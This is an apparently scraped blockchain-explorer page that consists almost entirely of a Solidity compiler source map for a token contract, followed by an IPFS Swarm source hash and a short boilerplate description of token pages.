;;;;;;;;;:::o;162:115::-;215:15;258:10;243:26;;162:115;:::o;5995:337::-;6105:1;6088:19;;:5;:19;;;;6080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6186:1;6167:21;;:7;:21;;;;6159:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6270:6;6240:11;:18;6252:5;6240:18;;;;;;;;;;;;;;;:27;6259:7;6240:27;;;;;;;;;;;;;;;:36;;;;6308:7;6292:32;;6301:5;6292:32;;;6317:6;6292:32;;;;;;:::i;:::-;;;;;;;;5995:337;;;:::o;7347:991::-;7425:4;7468:1;7452:18;;:4;:18;;;;7444:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7545:1;7531:16;;:2;:16;;;;7523:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7611:16;;;;;;;;;;;7608:723;;;7660:32;7675:4;7681:2;7685:6;7660:14;:32::i;:::-;7653:39;;;;7608:723;7744:28;7775:24;7793:4;7775:9;:24::i;:::-;7744:55;;7819:16;;;;;;;;;;;7818:17;:40;;;;;7840:12;:18;7853:4;7840:18;;;;;;;;;;;;;;;;;;;;;;;;;7839:19;7818:40;7814:130;;;7892:36;7907:20;7892:14;:36::i;:::-;7814:130;7978:27;7998:6;7978:9;:15;7988:4;7978:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7960:9;:15;7970:4;7960:15;;;;;;;;;;;;;;;:45;;;;8020:19;8043:17;:23;8061:4;8043:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;8070:17;:21;8088:2;8070:21;;;;;;;;;;;;;;;;;;;;;;;;;8043:48;8042:123;;8147:18;8152:4;8158:6;8147:4;:18::i;:::-;8042:123;;;8138:6;8042:123;8020:145;;8210:30;8228:11;8210:9;:13;8220:2;8210:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;8194:9;:13;8204:2;8194:13;;;;;;;;;;;;;;;:46;;;;8277:2;8262:31;;8271:4;8262:31;;;8281:11;8262:31;;;;;;:::i;:::-;;;;;;;;8315:4;8308:11;;;;7347:991;;;;;;:::o;1563:192::-;1649:7;1682:1;1677;:6;;1685:12;1669:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1709:9;1725:1;1721;:5;;;;:::i;:::-;1709:17;;1746:1;1739:8;;;1563:192;;;;;:::o;285:111::-;334:15;377:10;362:26;;285:111;:::o;8346:330::-;8439:4;8476:53;8498:6;8476:53;;;;;;;;;;;;;;;;;:9;:17;8486:6;8476:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8456:9;:17;8466:6;8456:17;;;;;;;;;;;;;;;:73;;;;8563:32;8588:6;8563:9;:20;8573:9;8563:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;8540:9;:20;8550:9;8540:20;;;;;;;;;;;;;;;:55;;;;8628:9;8611:35;;8620:6;8611:35;;;8639:6;8611:35;;;;;;:::i;:::-;;;;;;;;8664:4;8657:11;;8346:330;;;;;:::o;8684:485::-;4772:4;4753:16;;:23;;;;;;;;;;;;;;;;;;8755:21:::1;8793:1;8779:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8755:40;;8824:4;8806;8811:1;8806:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8850:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8840:4;8845:1;8840:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;8885:57;8902:4;8917:15;;;;;;;;;;;8935:6;8885:8;:57::i;:::-;8959:15;;;;;;;;;;;:66;;;9040:6;9061:1;9078:4;9105;;;;;;;;;;;9125:15;8959:192;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8955:207;;;;;;8744:425;4818:5:::0;4799:16;;:24;;;;;;;;;;;;;;;;;;8684:485;:::o;1419:136::-;1477:7;1504:43;1508:1;1511;1504:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1497:50;;1419:136;;;;:::o;9544:371::-;9608:7;9628:14;9658:3;9654:1;9645:6;:10;;;;:::i;:::-;:16;;;;:::i;:::-;9628:33;;9695:1;9677:6;:14;9684:6;9677:14;;;;;;;;;;;;;;;;:19;9674:48;;9716:6;9707;:15;;;;:::i;:::-;9698:24;;9674:48;9747:1;9738:6;:10;9735:135;;;9793:6;9765:9;:24;9783:4;9765:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;9844:4;9819:39;;9828:6;9819:39;;;9851:6;9819:39;;;;;;:::i;:::-;;;;;;;;9735:135;9889:18;9900:6;9889;:10;;:18;;;;:::i;:::-;9882:25;;;9544:371;;;;:::o;1228:181::-;1286:7;1306:9;1322:1;1318;:5;;;;:::i;:::-;1306:17;;1347:1;1342;:6;;1334:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1400:1;1393:8;;;1228:181;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;301:139;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:119;;;560:79;;:::i;:::-;522:119;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;446:329;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:119;;;906:79;;:::i;:::-;868:119;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;781:351;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;1234:32;1231:119;;;1269:79;;:::i;:::-;1231:119;1389:1;1414:53;1459:7;1450:6;1439:9;1435:22;1414:53;:::i;:::-;1404:63;;1360:117;1516:2;1542:53;1587:7;1578:6;1567:9;1563:22;1542:53;:::i;:::-;1532:63;;1487:118;1138:474;;;;;:::o;1618:619::-;1695:6;1703;1711;1760:2;1748:9;1739:7;1735:23;1731:32;1728:119;;;1766:79;;:::i;:::-;1728:119;1886:1;1911:53;1956:7;1947:6;1936:9;1932:22;1911:53;:::i;:::-;1901:63;;1857:117;2013:2;2039:53;2084:7;2075:6;2064:9;2060:22;2039:53;:::i;:::-;2029:63;;1984:118;2141:2;2167:53;2212:7;2203:6;2192:9;2188:22;2167:53;:::i;:::-;2157:63;;2112:118;1618:619;;;;;:::o;2243:474::-;2311:6;2319;2368:2;2356:9;2347:7;2343:23;2339:32;2336:119;;;2374:79;;:::i;:::-;2336:119;2494:1;2519:53;2564:7;2555:6;2544:9;2540:22;2519:53;:::i;:::-;2509:63;;2465:117;2621:2;2647:53;2692:7;2683:6;2672:9;2668:22;2647:53;:::i;:::-;2637:63;;2592:118;2243:474;;;;;:::o;2723:179::-;2792:10;2813:46;2855:3;2847:6;2813:46;:::i;:::-;2891:4;2886:3;2882:14;2868:28;;2723:179;;;;:::o;2908:142::-;3011:32;3037:5;3011:32;:::i;:::-;3006:3;2999:45;2908:142;;:::o;3056:108::-;3133:24;3151:5;3133:24;:::i;:::-;3128:3;3121:37;3056:108;;:::o;3170:118::-;3257:24;3275:5;3257:24;:::i;:::-;3252:3;3245:37;3170:118;;:::o;3324:732::-;3443:3;3472:54;3520:5;3472:54;:::i;:::-;3542:86;3621:6;3616:3;3542:86;:::i;:::-;3535:93;;3652:56;3702:5;3652:56;:::i;:::-;3731:7;3762:1;3747:284;3772:6;3769:1;3766:13;3747:284;;;3848:6;3842:13;3875:63;3934:3;3919:13;3875:63;:::i;:::-;3868:70;;3961:60;4014:6;3961:60;:::i;:::-;3951:70;;3807:224;3794:1;3791;3787:9;3782:14;;3747:284;;;3751:14;4047:3;4040:10;;3448:608;;;3324:732;;;;:::o;4062:109::-;4143:21;4158:5;4143:21;:::i;:::-;4138:3;4131:34;4062:109;;:::o;4177:183::-;4290:63;4347:5;4290:63;:::i;:::-;4285:3;4278:76;4177:183;;:::o;4366:147::-;4461:45;4500:5;4461:45;:::i;:::-;4456:3;4449:58;4366:147;;:::o;4519:364::-;4607:3;4635:39;4668:5;4635:39;:::i;:::-;4690:71;4754:6;4749:3;4690:71;:::i;:::-;4683:78;;4770:52;4815:6;4810:3;4803:4;4796:5;4792:16;4770:52;:::i;:::-;4847:29;4869:6;4847:29;:::i;:::-;4842:3;4838:39;4831:46;;4611:272;4519:364;;;;:::o;4889:366::-;5031:3;5052:67;5116:2;5111:3;5052:67;:::i;:::-;5045:74;;5128:93;5217:3;5128:93;:::i;:::-;5246:2;5241:3;5237:12;5230:19;;4889:366;;;:::o;5261:::-;5403:3;5424:67;5488:2;5483:3;5424:67;:::i;:::-;5417:74;;5500:93;5589:3;5500:93;:::i;:::-;5618:2;5613:3;5609:12;5602:19;;5261:366;;;:::o;5633:::-;5775:3;5796:67;5860:2;5855:3;5796:67;:::i;:::-;5789:74;;5872:93;5961:3;5872:93;:::i;:::-;5990:2;5985:3;5981:12;5974:19;;5633:366;;;:::o;6005:::-;6147:3;6168:67;6232:2;6227:3;6168:67;:::i;:::-;6161:74;;6244:93;6333:3;6244:93;:::i;:::-;6362:2;6357:3;6353:12;6346:19;;6005:366;;;:::o;6377:::-;6519:3;6540:67;6604:2;6599:3;6540:67;:::i;:::-;6533:74;;6616:93;6705:3;6616:93;:::i;:::-;6734:2;6729:3;6725:12;6718:19;;6377:366;;;:::o;6749:::-;6891:3;6912:67;6976:2;6971:3;6912:67;:::i;:::-;6905:74;;6988:93;7077:3;6988:93;:::i;:::-;7106:2;7101:3;7097:12;7090:19;;6749:366;;;:::o;7121:118::-;7208:24;7226:5;7208:24;:::i;:::-;7203:3;7196:37;7121:118;;:::o;7245:112::-;7328:22;7344:5;7328:22;:::i;:::-;7323:3;7316:35;7245:112;;:::o;7363:222::-;7456:4;7494:2;7483:9;7479:18;7471:26;;7507:71;7575:1;7564:9;7560:17;7551:6;7507:71;:::i;:::-;7363:222;;;;:::o;7591:254::-;7700:4;7738:2;7727:9;7723:18;7715:26;;7751:87;7835:1;7824:9;7820:17;7811:6;7751:87;:::i;:::-;7591:254;;;;:::o;7851:332::-;7972:4;8010:2;7999:9;7995:18;7987:26;;8023:71;8091:1;8080:9;8076:17;8067:6;8023:71;:::i;:::-;8104:72;8172:2;8161:9;8157:18;8148:6;8104:72;:::i;:::-;7851:332;;;;;:::o;8189:210::-;8276:4;8314:2;8303:9;8299:18;8291:26;;8327:65;8389:1;8378:9;8374:17;8365:6;8327:65;:::i;:::-;8189:210;;;;:::o;8405:274::-;8524:4;8562:2;8551:9;8547:18;8539:26;;8575:97;8669:1;8658:9;8654:17;8645:6;8575:97;:::i;:::-;8405:274;;;;:::o;8685:313::-;8798:4;8836:2;8825:9;8821:18;8813:26;;8885:9;8879:4;8875:20;8871:1;8860:9;8856:17;8849:47;8913:78;8986:4;8977:6;8913:78;:::i;:::-;8905:86;;8685:313;;;;:::o;9004:419::-;9170:4;9208:2;9197:9;9193:18;9185:26;;9257:9;9251:4;9247:20;9243:1;9232:9;9228:17;9221:47;9285:131;9411:4;9285:131;:::i;:::-;9277:139;;9004:419;;;:::o;9429:::-;9595:4;9633:2;9622:9;9618:18;9610:26;;9682:9;9676:4;9672:20;9668:1;9657:9;9653:17;9646:47;9710:131;9836:4;9710:131;:::i;:::-;9702:139;;9429:419;;;:::o;9854:::-;10020:4;10058:2;10047:9;10043:18;10035:26;;10107:9;10101:4;10097:20;10093:1;10082:9;10078:17;10071:47;10135:131;10261:4;10135:131;:::i;:::-;10127:139;;9854:419;;;:::o;10279:::-;10445:4;10483:2;10472:9;10468:18;10460:26;;10532:9;10526:4;10522:20;10518:1;10507:9;10503:17;10496:47;10560:131;10686:4;10560:131;:::i;:::-;10552:139;;10279:419;;;:::o;10704:::-;10870:4;10908:2;10897:9;10893:18;10885:26;;10957:9;10951:4;10947:20;10943:1;10932:9;10928:17;10921:47;10985:131;11111:4;10985:131;:::i;:::-;10977:139;;10704:419;;;:::o;11129:::-;11295:4;11333:2;11322:9;11318:18;11310:26;;11382:9;11376:4;11372:20;11368:1;11357:9;11353:17;11346:47;11410:131;11536:4;11410:131;:::i;:::-;11402:139;;11129:419;;;:::o;11554:222::-;11647:4;11685:2;11674:9;11670:18;11662:26;;11698:71;11766:1;11755:9;11751:17;11742:6;11698:71;:::i;:::-;11554:222;;;;:::o;11782:831::-;12045:4;12083:3;12072:9;12068:19;12060:27;;12097:71;12165:1;12154:9;12150:17;12141:6;12097:71;:::i;:::-;12178:80;12254:2;12243:9;12239:18;12230:6;12178:80;:::i;:::-;12305:9;12299:4;12295:20;12290:2;12279:9;12275:18;12268:48;12333:108;12436:4;12427:6;12333:108;:::i;:::-;12325:116;;12451:72;12519:2;12508:9;12504:18;12495:6;12451:72;:::i;:::-;12533:73;12601:3;12590:9;12586:19;12577:6;12533:73;:::i;:::-;11782:831;;;;;;;;:::o;12619:214::-;12708:4;12746:2;12735:9;12731:18;12723:26;;12759:67;12823:1;12812:9;12808:17;12799:6;12759:67;:::i;:::-;12619:214;;;;:::o;12920:132::-;12987:4;13010:3;13002:11;;13040:4;13035:3;13031:14;13023:22;;12920:132;;;:::o;13058:114::-;13125:6;13159:5;13153:12;13143:22;;13058:114;;;:::o;13178:99::-;13230:6;13264:5;13258:12;13248:22;;13178:99;;;:::o;13283:113::-;13353:4;13385;13380:3;13376:14;13368:22;;13283:113;;;:::o;13402:184::-;13501:11;13535:6;13530:3;13523:19;13575:4;13570:3;13566:14;13551:29;;13402:184;;;;:::o;13592:169::-;13676:11;13710:6;13705:3;13698:19;13750:4;13745:3;13741:14;13726:29;;13592:169;;;;:::o;13767:305::-;13807:3;13826:20;13844:1;13826:20;:::i;:::-;13821:25;;13860:20;13878:1;13860:20;:::i;:::-;13855:25;;14014:1;13946:66;13942:74;13939:1;13936:81;13933:107;;;14020:18;;:::i;:::-;13933:107;14064:1;14061;14057:9;14050:16;;13767:305;;;;:::o;14078:185::-;14118:1;14135:20;14153:1;14135:20;:::i;:::-;14130:25;;14169:20;14187:1;14169:20;:::i;:::-;14164:25;;14208:1;14198:35;;14213:18;;:::i;:::-;14198:35;14255:1;14252;14248:9;14243:14;;14078:185;;;;:::o;14269:348::-;14309:7;14332:20;14350:1;14332:20;:::i;:::-;14327:25;;14366:20;14384:1;14366:20;:::i;:::-;14361:25;;14554:1;14486:66;14482:74;14479:1;14476:81;14471:1;14464:9;14457:17;14453:105;14450:131;;;14561:18;;:::i;:::-;14450:131;14609:1;14606;14602:9;14591:20;;14269:348;;;;:::o;14623:191::-;14663:4;14683:20;14701:1;14683:20;:::i;:::-;14678:25;;14717:20;14735:1;14717:20;:::i;:::-;14712:25;;14756:1;14753;14750:8;14747:34;;;14761:18;;:::i;:::-;14747:34;14806:1;14803;14799:9;14791:17;;14623:191;;;;:::o;14820:96::-;14857:7;14886:24;14904:5;14886:24;:::i;:::-;14875:35;;14820:96;;;:::o;14922:104::-;14967:7;14996:24;15014:5;14996:24;:::i;:::-;14985:35;;14922:104;;;:::o;15032:90::-;15066:7;15109:5;15102:13;15095:21;15084:32;;15032:90;;;:::o;15128:126::-;15165:7;15205:42;15198:5;15194:54;15183:65;;15128:126;;;:::o;15260:77::-;15297:7;15326:5;15315:16;;15260:77;;;:::o;15343:86::-;15378:7;15418:4;15411:5;15407:16;15396:27;;15343:86;;;:::o;15435:152::-;15511:9;15544:37;15575:5;15544:37;:::i;:::-;15531:50;;15435:152;;;:::o;15593:121::-;15651:9;15684:24;15702:5;15684:24;:::i;:::-;15671:37;;15593:121;;;:::o;15720:126::-;15770:9;15803:37;15834:5;15803:37;:::i;:::-;15790:50;;15720:126;;;:::o;15852:113::-;15902:9;15935:24;15953:5;15935:24;:::i;:::-;15922:37;;15852:113;;;:::o;15971:307::-;16039:1;16049:113;16063:6;16060:1;16057:13;16049:113;;;16148:1;16143:3;16139:11;16133:18;16129:1;16124:3;16120:11;16113:39;16085:2;16082:1;16078:10;16073:15;;16049:113;;;16180:6;16177:1;16174:13;16171:101;;;16260:1;16251:6;16246:3;16242:16;16235:27;16171:101;16020:258;15971:307;;;:::o;16284:320::-;16328:6;16365:1;16359:4;16355:12;16345:22;;16412:1;16406:4;16402:12;16433:18;16423:81;;16489:4;16481:6;16477:17;16467:27;;16423:81;16551:2;16543:6;16540:14;16520:18;16517:38;16514:84;;;16570:18;;:::i;:::-;16514:84;16335:269;16284:320;;;:::o;16610:180::-;16658:77;16655:1;16648:88;16755:4;16752:1;16745:15;16779:4;16776:1;16769:15;16796:180;16844:77;16841:1;16834:88;16941:4;16938:1;16931:15;16965:4;16962:1;16955:15;16982:180;17030:77;17027:1;17020:88;17127:4;17124:1;17117:15;17151:4;17148:1;17141:15;17168:180;17216:77;17213:1;17206:88;17313:4;17310:1;17303:15;17337:4;17334:1;17327:15;17354:180;17402:77;17399:1;17392:88;17499:4;17496:1;17489:15;17523:4;17520:1;17513:15;17663:117;17772:1;17769;17762:12;17786:102;17827:6;17878:2;17874:7;17869:2;17862:5;17858:14;17854:28;17844:38;;17786:102;;;:::o;17894:222::-;18034:34;18030:1;18022:6;18018:14;18011:58;18103:5;18098:2;18090:6;18086:15;18079:30;17894:222;:::o;18122:221::-;18262:34;18258:1;18250:6;18246:14;18239:58;18331:4;18326:2;18318:6;18314:15;18307:29;18122:221;:::o;18349:177::-;18489:29;18485:1;18477:6;18473:14;18466:53;18349:177;:::o;18532:182::-;18672:34;18668:1;18660:6;18656:14;18649:58;18532:182;:::o;18720:224::-;18860:34;18856:1;18848:6;18844:14;18837:58;18929:7;18924:2;18916:6;18912:15;18905:32;18720:224;:::o;18950:223::-;19090:34;19086:1;19078:6;19074:14;19067:58;19159:6;19154:2;19146:6;19142:15;19135:31;18950:223;:::o;19179:122::-;19252:24;19270:5;19252:24;:::i;:::-;19245:5;19242:35;19232:63;;19291:1;19288;19281:12;19232:63;19179:122;:::o;19307:::-;19380:24;19398:5;19380:24;:::i;:::-;19373:5;19370:35;19360:63;;19419:1;19416;19409:12;19360:63;19307:122;:::o

Swarm Source

ipfs://ae006287840a1c5a363022f96c8624c658afe2bdb811b834255a829fe517cb45
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.